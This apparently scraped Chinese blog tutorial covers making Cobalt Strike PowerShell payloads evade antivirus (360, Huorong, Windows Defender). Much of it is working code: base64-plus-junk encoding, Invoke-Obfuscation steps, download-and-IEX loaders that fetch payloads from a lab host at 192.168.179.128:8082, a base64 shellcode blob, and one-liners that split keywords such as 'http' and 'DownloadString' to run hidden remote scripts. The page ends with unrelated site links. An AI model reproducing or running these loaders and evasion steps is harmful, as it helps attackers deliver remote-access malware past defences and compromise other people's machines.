当前位置: 首页 > news >正文

【网安-Web渗透测试-免杀系列】PowerShell免杀

目录

  • 一、免杀概念
    • 1、什么是免杀?
    • 2、什么是杀毒软件?
  • 二、PowerShell
    • 1、什么是PowerShell?
    • 2、生成PowerShell
    • 3、免杀对比实验
      • (1)原始脚本放入
      • (2)删除变量放入
  • 三、免杀思路
    • 1、特征值编码
    • 2、编码+添加干扰项
    • 3、添加干扰项+编码
    • 4、分离免杀
    • 5、PowerShell混淆处理
    • 6、二次开发
    • 7、以上式全结合后的混淆
    • 8、代码拆分
    • 9、针对windows defender的免杀方法
    • 10、针对powershell命令模式文件的免杀处理
      • (1)木马原型
      • (2)免杀处理
      • (3)利用ladon工具作免杀处理

💡重要声明:
制作、传播、使用木马等恶意程序以及相关免杀技术,均属于违法行为,会严重侵害他人信息安全与合法权益,请遵守法律法规,仅用于正规网络安全学习与防御研究。

一、免杀概念

1、什么是免杀?

全称为反杀毒技术,指的是一种能使病毒木马免于被杀毒软件查杀的技术。

  • 由于免杀技术的涉猎面非常广,其中包含反汇编、逆向工程、系统漏洞等技术,所以难度很高。一般人不会或没能力接触这技术的深层内容。
  • 免杀的操作基本上都是对病毒、木马的内容、特征进行修改,从而躲避杀毒软件的查杀。

2、什么是杀毒软件?

杀毒软件类型分类:

  • 个人或者社区版:360、电脑管家、金山毒霸、火绒、Defender等等~~
  • 企业版杀毒软件:IDS、IPS、EDR(威胁感知、态势感知、流量监控、数据库监控等等~这些设备往往很贵)

杀毒软件查杀病毒分为如下三种:

  • 静态查杀:一般根据特征码识别,然后对文件进行特征匹配。
  • 行为查杀(动态查杀):主要是对其产生的行为进行检测。
  • 云查杀:提取出文件的特征上传云端,云端进行检测后返回客户端,对病毒进行查杀。

杀毒软件持续更新病毒库、收集木马特征码,旧免杀方法易失效。攻防处于持续对抗状态,免杀技术需要不断学习钻研。

二、PowerShell

1、什么是PowerShell?

Windows PowerShell 是微软发布的一种命令行外壳程序和脚本环境,使命令行用户和脚本编写者可以利用 .NET Framework的强大功能。Windows7及以上的操作系统目前都是自带的。

PowerShell脚本作为一种文件,此类文件被上传到服务器之后需要执行。上线的代码是写到文件里面的,被执行时,CS就可以上线。

执行方式
方法一:在CMD命令行中输入命令powershell,并进入PowerShell模式

方式二:WIN+R的运行对话框中输入powershell,打开PowerShell终端

方法三:在Windows的开始中,打开PowerShell终端

2、生成PowerShell

Step1:用CS生成powershell的远控木马

区别说明:

  1. powershell模式:属于文本模式,需要命令行启动;
  2. powershell command模式:属于命令模式,执行文件中这段命令即可上线。

3、免杀对比实验

(1)原始脚本放入

将生成的powershell脚本"payload_x86.ps1"不做任何处理,直接放入到火绒的环境中。

  1. 360卫士

  1. 火绒

未作任何处理,脚本放入虚拟机后均由杀毒软件报毒!

(2)删除变量放入

Step1:清空DoIt变量中的部分

Step2:免杀测试

  1. 360卫士

  1. 火绒

将DoIt变量中的部分清理后,杀软无报毒!如果将DoIt变量中的字符串进行一次编码,后面加上一段解码的代码,能不能避免杀毒软件的查杀呢?

三、免杀思路

1、特征值编码

Step1:将DoIt变量中的字符串保存到code.txt中,并在kali中输入编码命令生成新文件。

$ base64-w0code.txt>out.txt

新生成文件out.txt中,保留了DoIt变量的字符串的base64编码。

Step2:替换$DoIt的值为刚刚生成的base64编码,并将代码的$DoIt替换成$plamov

Set-StrictMode-Version2# 此处需要加入base64编码后的字符串# 此为out.txt中的BASE编码字符串$DoIt=@' '@$plamov=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($DoIt))If([IntPtr]::size-eq8){start-job{param($a)IEX$a}-RunAs32-Argument$plamov|wait-job|Receive-Job}else{IEX$plamov}

Step3:免杀测试

  1. 360卫士


直接复制进去时,未查杀前就已触发了报毒反应!

  1. 火绒

扫描时,未报毒!

当脚本被运行时,杀软触发了报毒反应!

2、编码+添加干扰项

Step1:在base64编码后的值中,随机加入垃圾字符,如“plamov”

Step2:将加入“垃圾数据”的Base64编码重新写入脚本,并添加垃圾字符过滤

Set-StrictMode-Version2# 此处需要加入base64编码后的字符串# 此为out.txt中的BASE编码字符串,且加入了垃圾数据“plamov”$DoIt=@' '@# 代码注释:将$DoIt变量中的“plamov”值替换为空$DoIt=$DoIt.Replace("plamov","")$plamov=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($DoIt))If([IntPtr]::size-eq8){start-job{param($a)IEX$a}-RunAs32-Argument$plamov|wait-job|Receive-Job}else{IEX$plamov}

Step3:免杀测试

  1. 360卫士

扫描时,未报毒!

运行后也未报毒!

  1. 火绒

3、添加干扰项+编码

Step1:直接在源代码中加入垃圾字符:例“plamov”

Step2:将原码中随意穿插垃圾字符后,进行base64编码

$ base64-w0code.txt>out.txt

并将编码替换到变量DoIt中。

Step3:免杀测试

  1. 360卫士

  1. 火绒

两个杀软全部报毒!

4、分离免杀

将那段关键的加密值,放置到在线网站上,通过powershell去请求

Step1:开启Kali的http服务

$ python3-mhttp.server8082

Step2:将保存在kali的out.txt文件远程调用

http://192.168.179.128:8082/out.txt

Step3:修改脚本

Set-StrictMode-Version2$DoIt=((New-Object System.Net.WebClient).DownloadString("http://192.168.179.128:8082/out.txt"))$plamov=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($DoIt))If([IntPtr]::size-eq8){start-job{param($a)IEX$a}-RunAs32-Argument$plamov|wait-job|Receive-Job}else{IEX$plamov}

Step4:免杀测试

  1. 360卫士

  1. 火绒

两个杀软均未报毒!

Step5:上线测试

  1. 360卫士

  1. 火绒

运行脚本时,火绒已经报毒!

在CS中查看,两台主机中的木马均已成功上线!

5、PowerShell混淆处理

Step1:下载Invoke-Obfuscation-master,并解压

Step2:在当前Invoke-Obfuscation-master的目录进入PowerShell终端

# 加载并运行项目PS C:\>PowerShell-ExecutionPolicyBypass-Command"Import-Module ./Invoke-Obfuscation.psd1; Invoke-Obfuscation"

Step3:加密处理

设置需要加密的文件:

Invoke-Obfuscation>setscriptpath<powershell木马源文件的绝对路径># C:\Users\Administrator\Documents\payload_x86.ps1

设置需要加密的代码(可选):

Invoke-Obfuscation>setscriptblock'<此处替换为脚本代码>'
# 进入编码Invoke-Obfuscation>encoding# 选择编码:1-8任意选择加密方式

输出文件:

Invoke-Obfuscation>out C:\Users\Administrator\Documents\1.ps1

Step4:免杀测试

  1. 360卫士

  1. 火绒

两个杀软均报毒!

6、二次开发

Step1:将如下源码中的$DoIt部分进行base64编码

Set-StrictMode-Version2# --- 需要Base64编码的部分 ---$DoIt=((New-Object System.Net.WebClient).DownloadString("http://192.168.179.128:8082/out.txt"))# --- 需要Base64编码的部分 ---$plamov=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($DoIt))If([IntPtr]::size-eq8){start-job{param($a)IEX$a}-RunAs32-Argument$plamov|wait-job|Receive-Job}else{IEX$plamov}

编码处理后的源码如下:

Set-StrictMode-Version2$NK33=@' KChOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50KS5Eb3dubG9hZFN0cmluZygiaHR0cDovLzE5Mi4xNjguMTc5LjEyODo4MDgyL291dC50eHQiKSk= '@$NK33=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($NK33))$NK15=IEX$NK33$plamov=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($NK15))If([IntPtr]::size-eq8){start-job{param($a)IEX$a}-RunAs32-Argument$plamov|wait-job|Receive-Job}else{IEX$plamov}

Step2:免杀测试

  1. 360卫士

扫描时,未报毒!

运行脚本时,未报毒!

  1. 火绒

扫描时,未报毒!

运行脚本时,报毒!

但他们成功运行后,都上线了!

Step3:在编码处理脚本基础上,用项目进行加密

# 加载并运行项目PS C:\>PowerShell-ExecutionPolicyBypass-Command"Import-Module ./Invoke-Obfuscation.psd1; Invoke-Obfuscation"# 设置需要加密的文件:Invoke-Obfuscation>setscriptpath<powershell木马源文件的绝对路径># C:\Users\Administrator\Documents\payload_x86.ps1# 进入编码Invoke-Obfuscation>encoding# 选择编码:1-8任意选择加密方式# 输出文件Invoke-Obfuscation>out C:\Users\Administrator\Documents\2.ps1

Step4:免杀测试

  1. 360卫士

扫描时,未报毒!

运行脚本时,未报毒!

  1. 火绒

扫描时,未报毒!

运行脚本时,报毒!

这是加强处理的后的脚本,也成功运行并上线!

7、以上式全结合后的混淆

  1. 先加干扰字符;
  2. 然后进行base64编码;
  3. 最后再使用混淆加密项目进行加密。

8、代码拆分

一部分可以作编码或者加干扰处理,另一部分可以做分离的处理(即:可以将这部分代码放到在线网站上去在线请求)

9、针对windows defender的免杀方法

PowerShell 是系统自带程序,针对 Windows Defender 的绕过难度最大。各类渗透工具生成的 Shellcode 存在固定变量、参数名,属于杀软重点特征。

绕过 Defender 要点:

  1. 修改所有默认变量、参数名;
  2. 处理监听器 IP、端口等连接信息;
    本质:彻底清除工具自带的特征指纹。

Step1:新建脚本(命名为:base64tobyte.ps1)

Write-Host$logo$payload=read-host"CS payload"$string=''$s=[Byte[]]$var_code=[System.Convert]::FromBase64String($payload)$s|foreach{$string=$string+$_.ToString()+','}Write-Host''write-host'bytes:'$string.Substring(0,$string.Length-1)$string.Substring(0,$string.Length-1)|Out-File result.txt Write-Host"Write to result.txt finished! "

Step2:用base64tobyte.ps1脚本转码脚本

# 从当前路径进入powershell命令行后,将那段指向监听器的值进行转码PS C:\>CS payload: 38uqIyMjQ6rGEvFHqHETqHEvqHE3qFELLJRpBRLcEuOPH0JfIQ8D4uwuIuTB03F0qHEzqGEfIvOoY1um41dpIvNzqGs7qHsDIvDAH2qoF6gi9RLcEuOP4uwuIuQbw1bXIF7bGF4HVsF7qHsHIvBFqC9oqHs/IvCoJ6gi86pnBwd4eEJ6eXLcw3t8eagxyKV+S01GVyNLVEpNSndLb1QFJNz2Etx0dHR0dEsZdVqE3PbKpyMjI3gS6nJySSBycktzIyMjcHNLdKq85dz2yFN4EvFxSyMhY6dxcXFwcXNLyHYNGNz2quWg4HMS3HR0SdxwdUsOJTtY3Pam4yyn4CIjIxLcptVXJ6rayCpLiebBftz2quJLZgJ9Etz2Etx0SSRydXNLlHTDKNz2nCMMIyMa5FeUEtzKsiIjI8rqIiMjy6jc3NwMG2RMTSPxQvgCUt4ioGQhnem5v0KSPBEaOkwyi6ibSkVsYszoK5IDQ0Miq/w5bW6PmxTJk3ybZ6eDmQH+YjG3vq1bWpqyUUptAHO04dIxI3ZQRlEOYkRGTVcZA25MWUpPT0IMFg0TAwtATE5TQldKQU9GGANucGpmAxoNExgDdEpNR0xUUANtdwMVDRMYA3RsdBUXGAN3UUpHRk1XDBYNEwouKSPH2nx2KFFCr4gNwI4sXednZSC6DXLEvveJCYZi9yEmclwVBQNbvok+p+PWBTQi0JjNGq+HnyI7+IK+JX8Xv2VA6YbHvgPrVWpBInwWDOW50f/W2LKGk/pa3cclWn87KlBjzbO27Mr1T3qBpFtn3RY9SUHMQR4VAm7z2N64Jjr6Uno7effdrBLGaaFujKd1zP9IuobZalybmeBcRhlTUQYep8z9ieTHua5+vKdwAJG6deQPOoOlSlwq0GO2rJcK4owfHn5l1mB4qNtD9xJYvQbkSyWcRxeWcy1/9iNL05aBddz2SWNLIzMjI0sjI2MjdEt7h3DG3PawmiMjIyMi+nJwqsR0SyMDIyNwdUsxtarB3Pam41flqCQi4KbjVsZ74MuK3tzcEhoRDRIVGw0SFBoNEhEbIxn9S5I=

Step3:将转码后的值,写入到源代码中进行替换

修改完成后务必测试运行,确认目标可正常上线,避免修改后的代码无法使用。

Step4:更改代码中的其他函数变量值

10、针对powershell命令模式文件的免杀处理

(1)木马原型

# 执行这段木马的源代码就会使目标上线,但是很容易被杀毒软件检测并拦截该行为!!PS C:\>powershell-wNormal-wNormal-wNormal-wNormal-wNormal-wNormal-wNormal-wNormal-wNormal-wNormal-wNormal-wNormal-wNormal-wNormal-wNormal-wNormal-wNormal-wNormal-wNormal-wNormal-wNormal-wNormal-wNormal-wNormal-wNormal-wNormal-wNormal-wNormal-wNormal-wNormal-wNormal-wNormal-wNormal-wNormal-wNormal-wNormal-wNormal-wNormal-wNormal-wNormal-wNormal-wNormal set-alias-namekey-value"IEx((new-object net.webclient).downloadstring('http://192.168.179.128:8082/plamov.ps1'))"

(2)免杀处理

Step1:命令行中添加垃圾字符绕过:(原理类似于绕过WAF)

PS C:\>powershell-wNormal-ExecBypass-NoP"set-alias -Name key -Value IEX; key (New-Object Net.WebClient).DownloadString('http://192.168.179.128:8082/plamov.ps1')"

Step2:使用替换绕过

PS C:\>C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe plamov.txt PS C:\>niko.txt-nop-whidden-c"IEX((new-object net.webclient).downloadstring('http://192.168.179.128:8082//plamov.ps1'))"

Step3:拆分http关键字

PS C:\>powershell-nop-whidden-c"$a='IEX((New-Object Net.WebClient).DownloadString(''ht';$b='tp://192.168.179.128:8082//plamov.ps1''));Invoke-Mimikatz';IEX($a+$b)"

Step4:拆分DownloadString关键字

PS C:\>powershell"$a='IEX(New-Object Net.WebClient).Downlo';$b='123(''http://192.168.179.128:8082//plamov.ps1'')'.Replace('123','adString');IEX($a+$b)"

Step5:单引号绕过

PS C:\>powershell.exe"IEX((new-object net.webclient).downloadstring('ht‘+’tp://192.168.179.128:8082//plamov.ps1’))

(3)利用ladon工具作免杀处理

http://www.jsqmd.com/news/900768/

相关文章:

  • 别再死记硬背公式了!用Python+Matplotlib手把手教你画滤波器的Bode图(附代码)
  • 用Python手把手复现FOIL算法:从家庭关系图谱到知识推理的完整实战
  • Cell-Free Massive MIMO硬件损伤分析与优化策略
  • 烤火罩在潮湿环境容易发霉吗 新 E 选品牌源头厂家说明
  • 【Xiaomi】Xiaomi 17 Max发布就讲透
  • 量子张量网络在BEC模拟中的高效应用
  • 从零开始:构建你的缠论量化交易系统 - Chanlun-Pro实战指南
  • 侈品级不锈钢彩色板应用技术标准:从选材、工艺到验收的完整规范
  • 算法:图的存储与遍历,最小生成树(Prim算法,kruskal算法)
  • 别再傻傻分不清!一文搞懂CPU、GPU、NPU、MCU、DSP、FPGA、SOC,嵌入式选型不踩坑
  • 别只让LED闪了!基于STM32CubeMX的HAL库,教你玩转GPIO输入输出与硬件抽象层设计
  • 推荐题目:洛谷 P5730 【深基5.例10】显示屏
  • 别再找第三方工具了!用Windows自带的DISM命令,5分钟给Win10家庭版装上组策略编辑器
  • 在OpenClaw中配置Taotoken作为后端AI供应商的详细步骤
  • Cortex-M3/M4调试系统设计:TPIU与CoreSight Funnel应用
  • ROCK5B新手避坑指南:用BalenaEtcher给NVMe刷Debian11,从驱动安装到首次登录的完整流程
  • 从彩虹猫到MBR:一次MEMZ病毒‘事故’后,我搞懂了Windows引导修复的几种方法
  • [智能体-119]:LangChain 生态工具详解
  • 2026年4月花灯供货商怎么选,景区灯会/大型户外花灯/天幕花灯/春节国潮花灯/春节花灯/巡游花灯,花灯定做厂家推荐分析 - 品牌推荐师
  • 2026支持百度AI优化的GEO服务商测评:服务优质响应高效
  • 2026年4月市场优秀的混合机直销厂家哪家可靠,链盘管链输送机/吨袋无尘拆包机/双锥混合机,混合机企业哪家靠谱 - 品牌推荐师
  • SARscape版本升级实战:5.3到5.6.2,那些官方没细说的数据导入与DEM处理变化
  • 别再死磕梯度下降了!用Python手把手教你实现遗传算法解决旅行商问题
  • 深入浅出 LoongSuite Python Agent:让你的 AI 应用「透明化」(上篇)
  • 数据分析入门:手把手教你用Python爬取直播数据并做简单可视化
  • 从编译到出结果:SPEC CPU 2017在CentOS 7上的完整避坑指南(含gcc/g++/gfortran配置)
  • 别再死记硬背公式了!用这个在线仿真工具,5分钟搞懂正激变换器(Forward Converter)工作原理
  • 别再找第三方工具了!用Windows自带的DISM命令,5分钟搞定Win10家庭版组策略(gpedit.msc)安装
  • 量子纠错码与被动解码技术解析
  • 2026年 宝钢HC900/1180DP吉帕钢厂家推荐榜:高强汽车板/先进高强钢/冷轧双相钢/轻量化选材解决方案 - 品牌企业推荐师(官方)